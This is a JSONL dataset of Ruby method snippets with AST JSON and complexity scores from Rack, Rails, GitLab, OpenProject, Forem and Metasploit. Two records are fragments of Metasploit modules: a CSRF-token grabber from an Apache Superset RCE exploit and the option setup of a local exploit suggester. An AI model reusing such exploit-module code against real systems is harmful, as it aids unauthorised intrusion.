,\"children\":[200]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[null,\"filesize\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ranges\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"get_byte_ranges\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"get_header\",{\"type\":\"str\",\"children\":[\"HTTP_RANGE\"]}]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"ranges\",{\"type\":\"array\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"int\",\"children\":[416]},{\"type\":\"str\",\"children\":[\"Byte range unsatisfiable\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"content-range\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bytes */\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partial_content\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"content-range\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bytes \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"end\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"CONTENT_TYPE\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/byteranges; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MULTIPART_BOUNDARY\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"int\",\"children\":[206]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BaseIterator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"lvar\",\"children\":[\"mime_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"bytesize\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"CONTENT_LENGTH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"head?\"]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partial_content\"]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Iterator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"lvar\",\"children\":[\"mime_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]}]},null]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"3bd39006-3a0b-4ba9-9d40-6fd17e25349f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb","start_line":135,"raw_source":"def get_csrf_token\n    vprint_status('Grabbing CSRF token')\n    res = send_request_cgi!({\n      'uri' => normalize_uri(target_uri.path, 'login/'),\n      'keep_cookies' => true\n    })\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Unexpected response code (#{res.code})\") unless res.code == 200\n\n    fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name=\"csrf_token\" type=\"hidden\" value=\"([\\w.-]+)\">/\n\n    @csrf_token = Regexp.last_match(1)\n    vprint_status(\"#{peer} - CSRF Token: #{@csrf_token}\")\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_csrf_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Grabbing CSRF token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"login/\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unexpected response code (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\\\"csrf_token\\\" type=\\\"hidden\\\" value=\\\"([\\\\w.-]+)\\\">\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Unable to determine csrf token\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@csrf_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - CSRF Token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@csrf_token\"]}]}]}]}]}]}","id":"2b133f55-49bf-451d-8ec6-a2f2c9974a71"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/code_statistics.rb","start_line":109,"raw_source":"def calculate_code\n        code_loc = 0\n        @statistics.each { |k, v| code_loc += v.code_lines unless test_types.include? k }\n        code_loc\n      end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code_loc\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statistics\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_types\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code_loc\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"code_lines\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"code_loc\"]}]}]}","id":"096559c5-54fa-45b0-9f7a-8b2633637dd2"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":1187,"raw_source":"def test_namespaced_shallow_routes_with_module_option\n    draw do\n      namespace :foo, module: \"bar\" do\n        resources :posts, only: [:index, :show] do\n          resources :comments, only: [:index, :show], shallow: true\n        end\n      end\n    end\n\n    get \"/foo/posts\"\n    assert_equal \"/foo/posts\", foo_posts_path\n    assert_equal \"bar/posts#index\", @response.body\n\n    get \"/foo/posts/1\"\n    assert_equal \"/foo/posts/1\", foo_post_path(\"1\")\n    assert_equal \"bar/posts#show\", @response.body\n\n    get \"/foo/posts/1/comments\"\n    assert_equal \"/foo/posts/1/comments\", foo_post_comments_path(\"1\")\n    assert_equal \"bar/comments#index\", @response.body\n\n    get \"/foo/comments/2\"\n    assert_equal \"/foo/comments/2\", foo_comment_path(\"2\")\n    assert_equal \"bar/comments#show\", @response.body\n  end","complexity_score":29.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_namespaced_shallow_routes_with_module_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"show\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"show\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shallow\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/foo/posts\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/foo/posts\"]},{\"type\":\"send\",\"children\":[null,\"foo_posts_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar/posts#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/foo/posts/1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/foo/posts/1\"]},{\"type\":\"send\",\"children\":[null,\"foo_post_path\",{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar/posts#show\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/foo/posts/1/comments\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/foo/posts/1/comments\"]},{\"type\":\"send\",\"children\":[null,\"foo_post_comments_path\",{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar/comments#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/foo/comments/2\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/foo/comments/2\"]},{\"type\":\"send\",\"children\":[null,\"foo_comment_path\",{\"type\":\"str\",\"children\":[\"2\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar/comments#show\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"1a157536-9e77-464f-9a0f-42e9e20f5660"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/time_entries/entity_form.rb","start_line":67,"raw_source":"def show_work_package_field?\n      return true if model.entity_id.nil?\n\n      @visible\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"show_work_package_field?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"entity_id\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"ivar\",\"children\":[\"@visible\"]}]}]}","id":"43a60fb2-bcc0-4977-8f2c-c471296d86d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/recon/local_exploit_suggester.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Multi Recon Local Exploit Suggester',\n        'Description' => %q{\n          This module suggests local Metasploit exploits that can be used.\n\n          The exploits are suggested based on the architecture and platform\n          that the user has a shell opened as well as the available exploits\n          in meterpreter.\n\n          It's important to note that not all local exploits will be fired.\n          Exploits are chosen based on these conditions: session type,\n          platform, architecture, and required default options.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'sinn3r', 'Mo' ],\n        'Platform' => all_platforms,\n        'SessionTypes' => [ 'meterpreter', 'shell' ],\n        'Notes' => {\n          'Stability' => [SERVICE_RESOURCE_LOSS],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options([\n      Msf::OptInt.new('SESSION', [ true, 'The session to run this module on' ]),\n      Msf::OptBool.new('SHOWDESCRIPTION', [true, 'Displays a detailed description for the available exploits', false])\n    ])\n\n    register_advanced_options([\n      Msf::OptBool.new('ValidateArch', [true, 'Validate architecture', true]),\n      Msf::OptBool.new('ValidatePlatform', [true, 'Validate platform', true]),\n      Msf::OptBool.new('ValidateMeterpreterCommands', [true, 'Validate Meterpreter commands', false]),\n      Msf::OptString.new('Colors', [false, 'Valid, Invalid and Ignored colors for module checks (unset to disable)', 'grn/red/blu'])\n    ])\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Multi Recon Local Exploit Suggester\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module suggests local Metasploit exploits that can be used.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The exploits are suggested based on the architecture and platform\\n\"]},{\"type\":\"str\",\"children\":[\"          that the user has a shell opened as well as the available exploits\\n\"]},{\"type\":\"str\",\"children\":[\"          in meterpreter.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          It's important to note that not all local exploits will be fired.\\n\"]},{\"type\":\"str\",\"children\":[\"          Exploits are chosen based on these conditions: session type,\\n\"]},{\"type\":\"str\",\"children\":[\"          platform, architecture, and required default options.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sinn3r\"]},{\"type\":\"str\",\"children\":[\"Mo\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"send\",\"children\":[null,\"all_platforms\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]},{\"type\":\"str\",\"children\":[\"shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SERVICE_RESOURCE_LOSS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SESSION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The session to run this module on\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SHOWDESCRIPTION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Displays a detailed description for the available exploits\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"ValidateArch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Validate architecture\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"ValidatePlatform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Validate platform\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"ValidateMeterpreterCommands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Validate Meterpreter commands\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"Colors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Valid, Invalid and Ignored colors for module checks (unset to disable)\"]},{\"type\":\"str\",\"children\":[\"grn/red/blu\"]}]}]}]}]}]}]}","id":"7e634434-4d39-4c5e-9f29-3eb486156bd0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250829120000_track_merge_request_diff_deletions_v3.rb","start_line":10,"raw_source":"def up\n    drop_trigger(:merge_request_diffs, :merge_request_diffs_loose_fk_trigger, if_exists: true)\n    with_lock_retries do\n      track_record_deletions(:merge_request_diffs)\n    end\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"sym\",\"children\":[\"merge_request_diffs\"]},{\"type\":\"sym\",\"children\":[\"merge_request_diffs_loose_fk_trigger\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"track_record_deletions\",{\"type\":\"sym\",\"children\":[\"merge_request_diffs\"]}]}]}]}]}","id":"3aa49b88-97f0-40f7-9cdd-792c3d9da8f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/kubectl/resources/secret.rb","start_line":15,"raw_source":"def initialize(resource_name, key, data)\n            super(resource_name)\n\n            @key = key\n            @data = data\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_name\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"7fc05aa9-057b-4ac5-a8da-753ec8c3fb56"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/feeds/check_item_previously_imported.rb","start_line":14,"raw_source":"def call\n      title = item.title.strip.gsub('\"', '\\\"')\n      feed_source_url = item.url.strip.split(\"?source=\")[0]\n      relation = user.articles\n      relation.where(title: title).or(relation.where(feed_source_url: feed_source_url)).exists?\n    end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"item\"]},\"title\"]},\"strip\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"str\",\"children\":[\"\\\\\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"feed_source_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"item\"]},\"url\"]},\"strip\"]},\"split\",{\"type\":\"str\",\"children\":[\"?source=\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"articles\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feed_source_url\"]},{\"type\":\"lvar\",\"children\":[\"feed_source_url\"]}]}]}]}]},\"exists?\"]}]}]}","id":"1e08d91e-bcfd-4874-8217-339d7518be16"}
